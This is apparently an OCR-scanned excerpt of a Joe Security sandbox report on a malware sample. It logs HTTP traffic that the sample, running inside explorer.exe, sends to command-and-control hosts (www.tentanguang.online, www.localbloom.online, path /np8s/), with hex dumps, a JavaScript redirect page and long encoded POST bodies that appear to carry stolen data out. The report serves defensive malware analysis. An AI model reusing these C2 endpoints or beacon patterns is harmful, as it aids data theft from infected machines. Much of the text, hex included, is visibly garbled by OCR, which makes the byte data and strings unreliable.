NCS30cTPjm_YnPR(404qgxb4Kle65qBgCiyu7cGv4u8WgAs6swODifW2Lf(gm3VTkp7QUEy4FrXsqaWj04T8xy7F04h
GZiw2kJ1uYikQ84seB6(3hJIEa8fpspR14zOKf_7AUQOsGI9YamBbrikv~F8rvwjGiBtwNTMG1XLSOXOKAWTBTKSTO
1~ZFCZQItsnvYdNdtPEymFU7iW10Tos2QlyIMmnJWoHOLsp~j5dNKB15zR-ME~20jlwYnCC(zM7kAE5BgxL6zavPRZ
yzsxBrZDXfO0lyWJ_R9ZShSrB5z7ijhqVzZXcexdSggQY (Je8sITtxQgDSNJIxSv68dyCEGr~xGRM1Xn0-dxOUcabmF
Fh8peWjb5VCKwdvCoVuljvz8akwSLZK20GrVsqQItKMPDW30QGV(210Zkm1A6m7NbEf7mPhalGzjZzVplDeklt~GU1lp
hgOr_E59WZO(5nnNWcFBkrYb8ypZn28~cmZ~mlIHf THvioW5D3clx20g909~NRVxMIPKr5tNkdgEbuU5ZGYySznTL5
GUFqo8HWh(UL2sQJINH4glgRTWsnYROVzIQXYTGYXXBwWTTHX3NM4otg3f7iLYbvsRjCs9CH42nhXrWfuBECVXnTil
ayKJIFsKW3fSDoZ5NoKwSFAIoK4EO92Kegd3sgnJiFIb0ZvsF6CyvU8r3RcdE60CAKDEFIEBd3aT2ytEeXQg~psExpU
I(a7e TEX9XfCw(Z7blkrCYdPK2069Y10t(H3yq9JuCsnw~EUWzs~RKZTdToaPChJgMMja81QLz7wPmBpq7BHbY-(IT
hiWwM3QeJiTRWMJrOR05R Scle79kmUuMazjePjDAOtn2W2(swHG9igencihdA-cs2Au4GJV1eVydtBcAXI8pB7xviBi
Pq8jZ4TKmi5gCHobVG5MdykHiaCPDftKDaUM8ae(4i0003Mi97UzytL(WIJ1ZPOhAY SzIV5SUC1dEJGuwBIXGffh5a
g~ASOQsHPPMNE14PBVR(njHN20YCYIrEKEBNO~16D7tFCOIEEH0oUrwY 1eNUgIclWSc9lgFPGbh3A3_q3jH33F9tknAg
V(FTwx00E2ZJlerqdikT91tYxq9D6gllvOU3TmpYFDoawlgZ PQOAXJSYnWHt2afkZspOLBbFOENFlefeC7RtZ0sCR
Cxr8tapE-Ahga996VA8btlzVRKvrérADMufF6~GF5tGpiAUFPWdAaWW2ko5NRhtFvjlskguoQgfoBGR8LtzroYyY43
a2F2Mekqq8L2SPcohOmbaklOktgQgYK3VPwZndIqqtYJidjneo_ EHPC~fRGLncgLfuFVYValrVéxkp7S1la2w3HNyht
g~rXVyNyks3guOmh9y8gxxbcsitCu~eKiAafXfH~S~CGsp30uh03BSjo7KP781g0oZLYzO9CNBa3(J5ZqZKDtHixi7k
RaF5KI4erpU7hXNH5NBZRkPzJSAvulSANe358tTacsccCllpQ5sFKysGJIXaKgPXv3yviXbgJZunnz9f(qZsQaAWyua
boB4Ls-iv~IBWt4tAOEAhBDtPMU0G2b0k6ILUAMCch7XCC~Ib7wQ6IzrE9cNs20bUn9l(AU1GropulhdblpEeVjNeVf
ZlrobQpXYg-gpEnKBVO1ikE6u4VONWFq9OKWgL(VORWXN2Mj0aiwO0QAIqSq40BcO95xA9ePqUdV8wILQP1skn7ru
4DKSCg0O300G2blfGxSSBUC8h9kwc4x9i6~gH-Ignfc8(hnclIF3y6STRg7W4pzTnTovMbajyxc_LEUa~FVOA_yHohe
efcVDIx3UWyeGeiDE69X05pGQfdWrlIIHIMKg~eXxUIDITDOJY AludGa3XE2Fz27RBZUE6zkCqg4P7qP GaH8KUZIDI
4xBXr9fUueqvFsuXjUEIO7y9CO(cMIlg4PwgQ7hEMbBVaj10d

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 May 2022 17:05:28 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Content-Encoding: gzip

Data Raw: 32 33 31 0d Oa 1f 8b 08 00 00 00 00 00 00 03 4d 53 db 4e dc 30 10 fd 15 cb 0f 28 d1 86 dc 36 09 f1 26 5e 84
daaa 17 b5 7d 81 37 84 90 63 4f 36 81 60 a7 b6 43 58 21 fe bd Oe 97 65 25 fb c1 33 67 c6 67 8e ce d4 9d 7d 18 b6 75 a3
c4 7e 5b 1b ae fb d1 22 bb 1f 81 62 Ob 4f 36 ba 63 8f ec 2d 8a 91 d1 9c e2 88 81 09 ef Oc 46 db 3a 7a 4b 7c 94 6d db 49
72 db 2b 89 ac fa 3b 3d 34 a0 8d 27 fc €7 47 a6 11 d0 eb 9b 4a 84 1a c6 81 71 f0 22 2f Oc fd 68 17 7c 14 2c 30 08 c7 c9
74 de c8 b4 81 9f d2 7a 22 48 Oa df 7f f1 2b 0d 76 d2 12 c1 cb 51 fb 1f f0 e4 f9 cf ad d2 de d2 5d b8 ee 81 a0 09 a5 4c ef
a6 07 90 d6 84 03 c8 9d ed 4e 4e Oe 91 eb f8 26 e4 4a 1a ab 27 6e 95 a6 f4 42 6b b6 3f 3f ce 6f Oe 8f cO 8d 8f 83 96 c6
55 5b 8b 7 5e 55 bb 5a f9 b0 a2 5e 52 6¢ ¢5 75 7b 73 8e 63 bc c1 d8 5f 2d 8f dO aa 4b ab 7b b9 73 d9 4f ca 2e fa 5b cd
a0 bf 30 03 9e ff b2 70 65 f4 53 1c dc 16 79 de 30 22 62 c2 92 24 15 19 29 4a 5e ac f3 33 22 9a 9c c4 4d 86 fd a0 39 c6
93 72 9d 65 3¢ 05 80 b2 e0 6b 42 b2 92 c4 39 49 {3 32 6f 32 d2 96 b1 c3 f3 63 7c d9 12 10 25 81 96 b1 35 87 86 33 92 14
99 48 21 cd 62 7 67 4c b0 5f 09 ¢5 5f 15 73 da a8 fb de 8d 7d 7b 6b c1 58 8a 57 56 2d 2a 9b 41 cd 17 df 2e 43 01 5c ef
47 eb f1 20 0d 58 dO f8 fe 0a 57 08 9e c6 5e 83 al 57 dd 14 a0 75 72 fa 15 f8 e9 fa Oc a5 eb 4d 9e bb 83 be ff b9 aa d0 c8
6¢ 47 23 87 1e 14 67 8b 3d c2 4e 43 4b 71 67 ed b8 89 a2 79 9e 43 eb 08 30 b9 9b dc 0d 95 1c 7a 09 91 1c 4b 13 9d {7
34 cld5a7 cfad 7a 77 dc 55 d7 1b 64 7a Ob 48 c3 bf 69 el 80 7e 1d 8c ea ec 87 66 a5 ef 03 34 Oe e0 94 47 20 59 33 cO
31 a2 97 68 af 26 8d 1a ad 66 03 1a 29 8d 26 07 64 87 cO dc db ee b8 c0 4c e3 a8 b4 ad a3 03 85 3a 7a 5b 99 e8 75 7f fe
0392 59 66 da 46 03 00 00 0d Oa 30 0d Oa Od Oa

Data Ascii: 231MSNO(6&"}7c06°CX!e%3gg}u~["bO6c-F:zK|mlr+;=4'GJq"/h|,0tz"H+VQ]LNN&J'nBk??0U["UZ RIu{sc_-
K{sO.[0peSy0"b$)JI"3"MIre<kB9I1202¢c|%53H!bgL__sHkXWV-*A.C\G XWAWurMIG#g=NCKqgyC0zK4zwUdzHi~f4G Y31
h&f)&dL:z[uYfFO

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?3fkdoN=v4u/ceKk0Zb55n135mmkOO9h9INxI7kGAYyBx+qrEyA785N/4y0zrdRsBV3cMwWbOW5k3YBKZG
gA==&Eh=mhUxI HTTP/1.1

Host: www.tentanguang.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp A Direction
May 27, 2022 300 IN
19:05:29.304419041
CEST
Session ID Source IP Source Port
13 192.168.2.6 49798
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 302 ouT
19:05:34.393954039
CEST

Copyright Joe Security LLC 2022

185.134.245.113 80

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 May 2022 17:05:28 GMT

Content-Type: text/html

Content-Length: 931

Connection: close

Vary: Accept-Encoding

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Data Raw: 3c 68 74 6d 6¢ 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73
637269 70 74 22 20 73 72 63 3d 22 2f 61 65 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e
66 75 6e 63 74 69 6f 6e 20 74 6f 4e 75 6d 62 65 72 73 28 64 29 7b 76 61 72 20 65 3d 5b 5d 3b 64 2e 72 65 70 6¢ 61 63
65 28 2f 28 2e 2e 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 65 2e 70 75 73 68 28 70 61 72 73 65 49 6e 74 28 64 2
€ 31362929 7d29 3b 7265747572 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 6f 48 65 78 28 29 7b 66 6f 72 28 76 61
7220 64 3d 5b 5d 2c 64 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6¢ 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73
5b 30 5d 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67
75 6d 65 6e 74 73 2c 65 3d 22 22 2c 66 3d 30 3b 66 3c 64 2e 6¢ 65 6e 67 74 68 3b 66 2b 2b 29 65 2b 3d 28 31 36 3e 64
5b 66 5d 3f 22 30 22 3a 22 22 29 2b 64 5b 66 5d 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 72 65 74 75 72 6e 20 65 2e
74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 76 61 72 20 61 3d 74 6f 4e 75 6d 62 65 72 73 28 22 66 36 35 35 62 61 39 64
303961 31 31 32 64 34 39 36 38 63 36 33 35 37 39 64 62 35 39 30 62 34 22 29 2c 62 3d 74 6f 4e 75 6d 62 65 72 73 28
2239383334 3463 3265 65 65 38 36 63 33 39 39 34 38 39 30 35 39 32 35 38 35 62 34 39 66 38 30 22 29 2c 63 3d 74
6f 4e 75 6d 62 65 72 73 28 22 38 66 39 65 64 38 39 65 66 61 61 33 63 65 62 63 61 39 31 36 34 64 32 65 32 34 30 64 30
393039 22 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 22 5f 5f 74 65 73 74 3d 22 2b 74 6f 48 65 78 28 73 6¢C
6f 77 41 45 53 2e 64 65 63 72 79 70 74 28 63 2c 32 2c 61 2c 62 29 29 2b 22 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c
203331 2d 44 65 63 2d 33 37 20 32 33 3a 35 35 3a 35 35 20 47 4d 54 3b 20 70 61 74 68 3d 2f 22 3b 20 6¢ 6f 63 61 74 6
9 6f 6e 2e 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 65 6e 74 61 6e 67 75 61 6e 67 2e 6f 6e 6¢ 69 6e 65 2f 6
e 70 38 73 2f 3f 33 66 6b 34 6f 4e 3d 76 34 75 2f 63 65 4b 6b 30 5a 62 35 35 6e 31 33 35 6d 6d 6b 4f 4f 39 68 39 4e 78 4
a376b47417942782b 717245794137 3835 4e 2f 3479 30 7a 72 64 52 73 42 56 33 63 4d 77 57 62 4f 57 35 6b 33
59 42 4b 5a 47 71 41 3d 3d 26 45 68 3d 6d 68 55 78 6¢ 26 69 3d 31 22 3b 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72
69 70 74 3e 54 68 69 73 20 73 69 74 65 20 72 65 71 75 69 72 65 73 20 4a 61 76 61 73 63 72 69 70 74 20 74 6f 20 77 6f
72 6b 2c 20 70 6¢ 65 61 73 65 20 65 6e 61 62 6¢ 65 20 4a 61 76 61 73 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 62 72
6f 77 73 65 72 20 6f 72 20 75 73 65 20 61 20 62 72 6f 77 73 65 72 20 77 69 74 68 20 4a 61 76 61 73 63 72 69 70 74 20
737570 70 6f 72 74 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.
replace(/(..)/g,function(d){e.push(parselnt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&argum
ents[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e
.toLowerCase()}var a=toNumbers(“f655ba9d09a112d4968c63579db590b4"),b=toNumbers(*"98344c2eee86c3994890
592585b49f80"),c=toNumbers("8f9ed89efaadcebca9164d2e240d0909");document.cookie="__test="+toHex(slowA
ES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://www.tentanguang.on
line/np8s/?3fk4oN=v4u/ceKk0Zb55n135mmkOO9nINxI7kGAYBx+qrEyA785N/4y0zrdRsBV3cMwWbOW5k3YBKZG
gA==&Eh=mhUxI&i=1";</script><noscript>This site requires Javascript to work, please enable Javascript in your browser
or use a browser with Javascript support</noscript></body></html>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.localbloom.online

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.localbloom.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.localbloom.online/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6¢ 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66
51 5a58 333042 61 73 6¢ 52 6¢ 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44
79 68 4f 66 59 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67
4c¢ 51 75 63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6¢ 53 39 35 77
7036 69 55 67 64 4d 6¢ 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6¢ 46 41 6f 4f 78
76 28 6¢ 6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6¢ 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 7
256 36 4654 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6¢ 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6¢ 4e 4f 71 34 4e
61 74 7a 33 4d 48 43 33 34 41 6f 54 34 30 47 59 6a 6f 65 56 66 4c 79 37 58 5a 7a 33 4d 65 74 50 4b 33 57 62 54 39 76
5a 69 78 6e 48 31 73 45 6a 36 78 70 6b 56 59 54 51 6¢ 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6¢ 51 6¢C 69
72344971 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6¢ 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66
78 4c 75 43 49 43 4a 74 58 70 41 38 71 63 6f 76 38 75 45 55 57 39 77 6b 2e 00 00 00 00 00 00 00 00

Data Ascii: 3tk4oN=hbQjEd70Us1xlaFU6QGP1s3D3095fQZX30BasIRItocEAh1uMgoEPFUaOKMckjNyDk~bDyh
OfYQsFeR6xWU3CROWFQhugjH7kh6UbtxZT2RgLQucYSOXJ5UuFXij(gacsLYJJIY6NU4OT t1S95wp6iUgdMIwKFdwy
scPLPO98_Pgpa3VYgWmZIFAoOxv(ljK68QK]_TxCfleaBqlfUYV58TKGCOMoRqISprV6FTwBWID58BODaCM~IhEocE
zFfzCTcXfINOg4Natz3BMHC34A0T40G YjoeViLy7XZz3MetPK3WbTOvZixnH1sEj6xpkVYTQIQ7cKGloghdgkKMKAhNLI
Qlir4lg~00fNACcq7(BxIVNC32l4qoUutDhkQ6bMzfxLuCICJtXpA8gcovBuEUWIIwK.
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kBytes

Timestamp transferred
May 27, 2022 302
19:05:34.437963963
CEST
Session ID Source IP
14 192.168.2.6

. kBytes
LHIEEE transferred
May 27, 2022 316
19:05:34.440721035
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49799

Direction

ouT

Data

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Fri, 27 May 2022 17:05:34 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 61 36 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6C
6f 77 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74
65 22 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63
65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0Oa 3c 2f 62 6f
64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d 0a Od Oa 30 0d Oa Od Oa

Data Ascii: ab<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allow
ed</h1></center><hr><center>nginx</center></body></html|>0

Destination IP Destination Port Process
185.134.245.113 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.localbloom.online
Connection: close
Content-Length: 36488
Cache-Control: no-cache
Origin: http://www.localbloom.online
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.localbloom.online/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 33 66 6b 34 6f 4e 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54
79 74 55 6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6¢ 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36
44 79 6¢ 4f 6559 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64
67 4e 7a 47 63 4d 68 6d 63 55 4a 55 6b 5a 48 79 5f 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 5
96d 39 7955 68 58 73 6¢ 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f
78 75 37 6¢ 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64
79 54 36 42 437258 54 76 37 37 65 70 77 44 59 75 6d 79 6¢ 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6¢ 4e 65 71 34
4c 61 74 7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6¢ 37 71 36 6d 33 58 50 37 39
6e 62 4b 79 77 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6¢ 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6¢
69 6b 59 49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6¢ 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a
7a 31 4f 38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49
28 36 4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6¢ 45 44 49
69 37 5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66
383176 70 69 61 52 78 52 42 53 72 58 6¢ 66 68 73 6e 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30
48 43 45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6¢ 4e 49 6¢ 51 38 63 43 6d 32 51 44 4b 52
47 66 74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a
69 36 4a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b
38 7566 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6¢ 57 6e 65 39
74 2d 45 77 30 58 66 53 74 4b 61 70 6¢ 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41
54 47 4¢c 37 59 30 35 68 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 51 46 65 30 2d 5a 45 6b 74 6e
57 65 45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6¢ 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51
37 55 30 6a 4d 6d 61 6b 6¢ 6e 74 6e 32 78 33 4c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32
4331 64 77 54 70 32 35 5a 73 49 5a 74 38 35 79 69 65 53 6a 53 33 64 4c 43 63 53 64 51 28 6f 59 45 72 79 4f 56 4a 75
735836 54 77 3254 50 59 61 76 59 76 6d 78 49 77 66 4a 57 74 59 6¢ 4e 32 6¢ 37 39 47 4e 4b 32 57 4d 34 72 77 6e 6f
36 4d 78 5a 66 41 57 6¢ 4b 6¢ 37 6f 43 74 4f 71 7a 49 72 78 65 5a 41 68 6e 61 56 75 6b 57 58 4d 4f 63 78 42 50 76 54 4c
72 4e 41 46 65 61 45 6d 7a 73 34 7e 58 39 61 4e 4e 69 32 42 6b 69 74 43 48 44 46 58 44 6b 72 6¢ 47 71 2d 52 55 32 6a
4d 68 45 65 41 73 52 62 6d 74 35 35 37 62 7a 4c 65 4c 4c 7a 72 35 46 49 35 75 65 65 50 44 6e 79 78 57 31 4c 46 76 68
45 65 38 58 57 44 34 6f 7a 7a 6d 42 64 6b 66 74 45 54 66 57 5a 38 6¢ 74 62 34 69 57 31 46 52 54 56 51 6a 41 46 41 71
6f 64 55 79 5a 48 4c 5a 37 76 50 78 33 4b 6b 70 58 78 7a 48 45 55 62 4c 34 58 61 41 67 62 70 52 33 6a 6b 45 38 6f 49
4a 76 79 59 47 4b 41 63 4f 74 30 6b 4f 53 58 58 77 79 4b 5a 77 48 5f 57 6e 72 68 44 30 32 77 66 77 35 4e 53 2d 6d 6¢ 65
32 65 4f 49 5a 4a 6d 41 32 68 57 4d 76 50 4f 35 41 6e 70 7a 47 64 68 71 67 74 37 6¢ 43 44 34 6a 45 73 43 78 59 46 77 6
4 6d 6b 6f 6a 6a 57 56 6d 32 4f 68 54 4a 43 41 45 48 69 79 4c 63 75 4f 64 65 79 77 62 41 50 6f 38 6¢ 64 5f 41 43 6b 6d 5
2 4b 49 3364 68 74 36 36 4b 6d 79 6a 62 45 55 31 45 6a 6d 44 55 74 58 31 68 43 53 6a 5a 67 66 54 4b 7e 6a 63 76 70
63 59 67 4e 35 71 41 77 78 43 5f 28 75 59 56 65 5f 32 66 5a 52 46 53 49 74 39 43 6f 65 44 6b 36 2d 48 31 30 33 30 30
73 6¢ 33 41 65 4c 30 47 63 43 34 5f 6f 35 4a 49 6d 7a 42 68 71 74 73 30 6d 2d 34 34 79 52 62 49
Data Ascii: 3tk4oN=hbQJEYTib_xs7aJn3FSh68n71Y40TytUm2pOiFgVspkkHSBPINIRPBZ-K_kY3TBzDk36DylOeYlaF-hEy
1s0Ex9MEQhNKnHGkhu6bt5zTmdgNzGcMhmcUJUKZHy_iwGrsLQrJIkeOkOOVN1d2aYm9yUhXslpTVgJysltLOy99Nb
g4aXVaRWnW1FZsOxu7l(b68MOj7qGCO8elhqgYG5qq7HZECBcoRmtcdy T6BCrXTv77epwDYumylhA9sFnFfy_TeXhl
Neg4LatzX8HEH4BO0j4xM4j3aVjvy6(0z217q6m3XP79nbKywHOpBj6R~0UPTQI27dKol-khPFmMjmVLpAlikYIsrE4
PNAaYq7PrxW5NBI~I7LoU9NDhow7Zfiz1087DBZVNOgOAU40y5m0gqHOGKWPQ7wo7OKEbyl(ENANmMmMWh
Aqgl7VUGvXxJmvUTX9BrycGV94e7IEDIi7ZdDvYCAR9900-au~GkhcwzZ2nZW4C2RxADheNf81vpiaRxRBSrXIfhsn9SG
72tQ536kPkh6ksYz-O0HCEULcRHozjXcMEoup6HMrDqYINIIQ8cCm2QDKRGftnbcnK2UgjGpN3M7mB80OwSdz0iFsJpp
0dEGJji6JdCNnpzqibfO0Sgi3VTh7ovNKh_sBf43nNM54K8ufaDAmsdbb1W6TSgoMqudf(wY-jrHeK3jIWne9t-Ew0
XfStKapl4KkMYviC_~urEdHcqVDkKOVOmMBATGL7Y05hawZU2ta8mOPXOXGdg3FNIQFe0-ZEkinWeEO0xj1xv99VmMvU
IgkVocoKCmXxgDYM4bsIDLQ7U0jMmakintn2x3LyzEDdKJI5IWI9W|DFodNOaX2C1dwTp25Zs!Zt85yieSjS3dLCcSd
Q(oYEryOVJusX6Tw2TPYavYvmxIwfIWtYIN2I79GNK2WM4rwno6MxZfAWIKI7oCtOgzIrxeZAhnaVukWXMOCcxBPVTL
rNAFeaEmzs4~X9aNNi2BkitCHDFXDkrlGg-RU2jMhEeAsRbmt557bzLel Lzr5FI5ueePDnyxW1LFvhEe8XWD4ozzmB
dkFEETIWZ8Itb4iW1FRTVQjAFAqodUyZHLZ7vPx3KkpXxzHEUbL4XaAgbpR3jkE80IJvy Y GKACOtOKOSXXwyKZWH_W
nrhD02wfw5NS-mle2e01ZImA2hWMvPO5AnpzGdhqgt7ICD4jEsCxYFwdmkojWVm20hTJCAEHiyLcuOdeywbAPo8Id
_ACKkmRKI3dht66KmyjbEU1EjmDUtX1hCSjZgfTK~jcvpcYgN5gAwWXC_(uYVe_2fZRFSIt9CoeDk6-H10300sI3AeL0
GcC4_05JImzBhqgtsOm-44yRbldIBCHIIWMZ61ysnW~T60v8iYC_glV7Af7sgxDvANQLNC]76gtvLSRv6sh7IEFBI8p
OinoMSr4NCU08I07ANWdVJZHY8I2v8MiOMqPZBPLOwKIUOfP4E2E82kZ42DTaHszqG4c4~H78c:SY2FzT054Uo~ufo
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Timestam| e
P transferred

May 27, 2022 316
19:05:34.484735966
CEST
Session ID Source IP
15 192.168.2.6

. kBytes
T

Rnestamp transferred
May 27, 2022 333
19:05:34.485189915
CEST

Copyright Joe Security LLC 2022

Direction

Source Port

49800

Direction

ouT

LthU5cbzfBwqyE4y3JyPyfPTpcuOpprLojgKqvyjEKqgceCicToV5BIJ3sRfk3nywZ3aUyRtCq~CD9sqV2uU(iFIzZAE
VWCIGGc_cGeqHPY2V2FxIxVSw68LIAmGIciFwAsXasoquG1lYOnuj0TqOUrEbkng-LOYXBtcHGx6_HO0O-r8M40
foNZI2GOFrlkrf6Khd TgNRtdrnjINBVOHAyP6aJB_o0eGBj7POGmAaLVTgklyKdAQoF0od42WtKg(ZaTrQlhmcflceV
H3l4pzwfPuohDgBuxfD10jIX7nDmxxQxvbe4kNzXjDrvPvMzYMb1Xh8XVx3KdtnQRfHY30Ok8FN-8r09xWngRkJzsjf
0donhFWZZ6vUgN_gbtsvPxAOHYumhmoHzbblyjPjFptCEOGPgzmZ88t30K2Egn8jRkhDSNn6NmMY6hgoluSuK380Mn81
2E68nC2QdVVxSol8yUlqyDHdqrFpav95e05iovN(grE(yQdRfkCT6C1k4GGBMdZIYDGg2caA5M3y5Tu(5dok7R4ZsG
WwIKE~KhuY68WkInGid7cThV9LovWhRXik89H(dcra9pVCSrnCcF4zhBCZmgm3eSTHHgxysBIHNfiOWoba4pFrRyF3
hQC30BwpYKfseDVIEyoqcVIBAbOkaOFTAgNP33QH6IQ~E34mUum4KziluzqqS1glFt8k81PaxYzyFfu03GLI7Z2hz0
Ndh8zVTFE37nX1XEd2y50sljdDoxsXG~UOAPbw3FgLnY3i_v7Im(3c-j6hsdmHreWDr~4psTPxS88SjnK4z2Rosi_1
e6G9h0PVFQ-m8KicbP3PYeniuo3AqHANrMYeJ(gPGzxgdd3VSFgswXkHWVm7cMr8lRaoSCQGqicUBgJvPTQXIVHwW(
LPgMapGh79CsLFOWc60zGd7piH60IczSNnDorlgJhvgjzN1XL{giD17Nz6zmunl2vzbxhLnWGVnCX7Z7XHLgifMrOp
